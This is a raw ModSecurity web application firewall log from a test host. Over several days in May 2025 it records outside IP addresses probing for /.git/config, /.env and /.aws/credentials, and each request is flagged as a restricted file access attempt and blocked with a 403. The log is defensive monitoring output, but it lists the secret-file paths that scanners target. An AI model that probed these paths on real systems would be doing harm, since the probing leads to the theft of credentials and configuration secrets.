[Sun May 18 16:51:33.767930 2025] [:error] [pid 3242438] [client 45.144.212.129:55134] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCnz9W5LSh5VjHFMrS3d7QAAAAo&quot;]
[Sun May 18 16:51:33.768091 2025] [:error] [pid 3242438] [client 45.144.212.129:55134] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCnz9W5LSh5VjHFMrS3d7QAAAAo&quot;]
[Sun May 18 17:46:13.274503 2025] [:error] [pid 3242441] [client 93.123.109.7:52758] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCoAxTSaScNBkRQkSaOE_AAAAA0&quot;]
[Sun May 18 17:46:13.274803 2025] [:error] [pid 3242441] [client 93.123.109.7:52758] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCoAxTSaScNBkRQkSaOE_AAAAA0&quot;]
[Sun May 18 17:46:13.274979 2025] [:error] [pid 3242441] [client 93.123.109.7:52758] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCoAxTSaScNBkRQkSaOE_AAAAA0&quot;]
[Sun May 18 22:14:42.765683 2025] [:error] [pid 3256684] [client 196.251.88.164:44384] [client 196.251.88.164] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCo_sjEoLl6bsgSmqI9YiAAAAAo&quot;]
[Sun May 18 22:14:42.765976 2025] [:error] [pid 3256684] [client 196.251.88.164:44384] [client 196.251.88.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCo_sjEoLl6bsgSmqI9YiAAAAAo&quot;]
[Sun May 18 22:14:42.766164 2025] [:error] [pid 3256684] [client 196.251.88.164:44384] [client 196.251.88.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCo_sjEoLl6bsgSmqI9YiAAAAAo&quot;]
[Mon May 19 00:48:44.949447 2025] [:error] [pid 3259440] [client 196.251.88.164:52334] [client 196.251.88.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCpjzIkOCaYG9smAh3Xw9wAAAAA&quot;]
[Mon May 19 00:48:44.949775 2025] [:error] [pid 3259440] [client 196.251.88.164:52334] [client 196.251.88.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCpjzIkOCaYG9smAh3Xw9wAAAAA&quot;]
[Mon May 19 00:48:44.950017 2025] [:error] [pid 3259440] [client 196.251.88.164:52334] [client 196.251.88.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCpjzIkOCaYG9smAh3Xw9wAAAAA&quot;]
[Mon May 19 11:00:55.681589 2025] [:error] [pid 3262405] [client 91.206.169.53:35790] [client 91.206.169.53] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCrzRwQPooJnT4GHVv9QrwAAAAg&quot;]
[Mon May 19 11:00:55.681862 2025] [:error] [pid 3262405] [client 91.206.169.53:35790] [client 91.206.169.53] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCrzRwQPooJnT4GHVv9QrwAAAAg&quot;]
[Mon May 19 11:00:55.682031 2025] [:error] [pid 3262405] [client 91.206.169.53:35790] [client 91.206.169.53] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCrzRwQPooJnT4GHVv9QrwAAAAg&quot;]
[Mon May 19 15:23:14.824430 2025] [:error] [pid 3262376] [client 34.229.113.34:34214] [client 34.229.113.34] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCswwgoySCWbGajAIfFangAAAAY&quot;]
[Mon May 19 15:23:14.824781 2025] [:error] [pid 3262376] [client 34.229.113.34:34214] [client 34.229.113.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCswwgoySCWbGajAIfFangAAAAY&quot;]
[Mon May 19 15:23:14.824949 2025] [:error] [pid 3262376] [client 34.229.113.34:34214] [client 34.229.113.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCswwgoySCWbGajAIfFangAAAAY&quot;]
[Mon May 19 22:14:18.390218 2025] [:error] [pid 3262376] [client 196.251.88.164:43382] [client 196.251.88.164] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCuRGgoySCWbGajAIfFazgAAAAY&quot;]
[Mon May 19 22:14:18.390540 2025] [:error] [pid 3262376] [client 196.251.88.164:43382] [client 196.251.88.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCuRGgoySCWbGajAIfFazgAAAAY&quot;]
[Mon May 19 22:14:18.391246 2025] [:error] [pid 3262376] [client 196.251.88.164:43382] [client 196.251.88.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCuRGgoySCWbGajAIfFazgAAAAY&quot;]
[Tue May 20 13:12:44.018168 2025] [:error] [pid 3283593] [client 34.229.113.34:36102] [client 34.229.113.34] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCxjrGlgD_0X9-csKa_4lgAAAAE&quot;]
[Tue May 20 13:12:44.018525 2025] [:error] [pid 3283593] [client 34.229.113.34:36102] [client 34.229.113.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCxjrGlgD_0X9-csKa_4lgAAAAE&quot;]
[Tue May 20 13:12:44.018741 2025] [:error] [pid 3283593] [client 34.229.113.34:36102] [client 34.229.113.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aCxjrGlgD_0X9-csKa_4lgAAAAE&quot;]
[Wed May 21 18:08:44.831043 2025] [:error] [pid 3303764] [client 35.168.190.204:56616] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jMZPBA1CMzjUnInxIQAAAAM&quot;]
[Wed May 21 18:08:44.831357 2025] [:error] [pid 3303764] [client 35.168.190.204:56616] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jMZPBA1CMzjUnInxIQAAAAM&quot;]
[Wed May 21 18:08:44.831534 2025] [:error] [pid 3303764] [client 35.168.190.204:56616] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jMZPBA1CMzjUnInxIQAAAAM&quot;]
[Wed May 21 18:08:45.023890 2025] [:error] [pid 3313760] [client 35.168.190.204:56620] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jdlLN5ac-xqHIyEVNgAAAAg&quot;]
[Wed May 21 18:08:45.024180 2025] [:error] [pid 3313760] [client 35.168.190.204:56620] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jdlLN5ac-xqHIyEVNgAAAAg&quot;]
[Wed May 21 18:08:45.024363 2025] [:error] [pid 3313760] [client 35.168.190.204:56620] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jdlLN5ac-xqHIyEVNgAAAAg&quot;]
[Wed May 21 18:08:45.235518 2025] [:error] [pid 3313763] [client 35.168.190.204:56634] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jalrZcVgbNHtEmfVSgAAAAo&quot;]
[Wed May 21 18:08:45.235812 2025] [:error] [pid 3313763] [client 35.168.190.204:56634] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jalrZcVgbNHtEmfVSgAAAAo&quot;]
[Wed May 21 18:08:45.235977 2025] [:error] [pid 3313763] [client 35.168.190.204:56634] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36jalrZcVgbNHtEmfVSgAAAAo&quot;]
[Wed May 21 18:08:45.469317 2025] [:error] [pid 3303765] [client 35.168.190.204:51286] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jZML5PFy9d0VqD6U3gAAAAQ&quot;]
[Wed May 21 18:08:45.469621 2025] [:error] [pid 3303765] [client 35.168.190.204:51286] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36jZML5PFy9d0VqD6U3gAAAAQ&quot;]
